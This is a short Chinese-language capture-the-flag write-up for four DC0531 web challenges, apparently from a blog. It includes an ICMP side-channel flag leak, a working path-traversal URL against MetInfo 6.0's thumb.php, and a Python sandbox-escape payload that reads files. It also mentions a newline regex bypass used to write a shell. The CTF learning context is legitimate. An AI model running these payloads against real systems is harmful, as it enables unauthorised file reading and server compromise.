DC0531 CTF Writeup

web1

先通过f:q:r:,捡起武器装好子弹,通过s:ip攻击,vps打开tcpdump抓到请求过来的icmp包,拿到源ip访问

开扫描器扫到.git源码,通过Githack下载源码

定位到微信机器人的主要文件,\Application\Home\Controller\TestController.class.php

看了一下代码逻辑,首先通过 p: 读取flag内容,再通过 s: 每次读取一个字符,最后通过base64解码即可。

由于real_path不在网站根目录,所以需要跨到网站目录才能读取

再通过 r: 装弹,s:ip开始发射子弹

通过tcpdump抓取icmp流量

tcpdump -i venet0:0 src 139.198.3.171 -q -XX -nn -vvv

然后一直发射子弹,抓取流量,直到获取到=也是就base64的结束符号即可。通过脚本正则截取每个包的字符,这里一共获取到59个字符,这里有个坑点就是$this->info['status'] = $this->info['status'] - 1 ,一开始就减一了所以第一个字符是没获取到的,随便补全下就能解密了

web2

这道题直接在网上找Metinfo 6.0任意文件读取exp,然后发现这篇文章Metinfo 6.0.0 任意文件读取漏洞

但是实际代码跟这个有点差异

直接bypass,/include/thumb.php?dir=.....///./http/.....///./.....///./.....///./.....///./flag

web3

首先输入0x1.__class__.__base__.__subclasses__()发现可用

0x1.__class__.__base__.__subclasses__()[40]("/home/ctf/flag") 可以读到文件流

但是不能直接read,通过for循环将文件内容读取出来,这里注意不允许有空格

[i.read()for(i)in[0x1.__class__.__base__.__subclasses__()[40]("/home/ctf/flag")]]

web4

emmm这个题应该是设计有问题吧,git直接拖源码,换下Flag格式就可以了

最后Flag DC0531{[email protected]#$%^}

这个原题地址是https://github.com/wonderkun/CTF_web/tree/dcf36cb9ba9a580a4e8d92b43480b6575fed2c3a/web200-7,利用换行符绕过正则,即可写入shell

标签: ctf, writeup, dc0531
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
添加新评论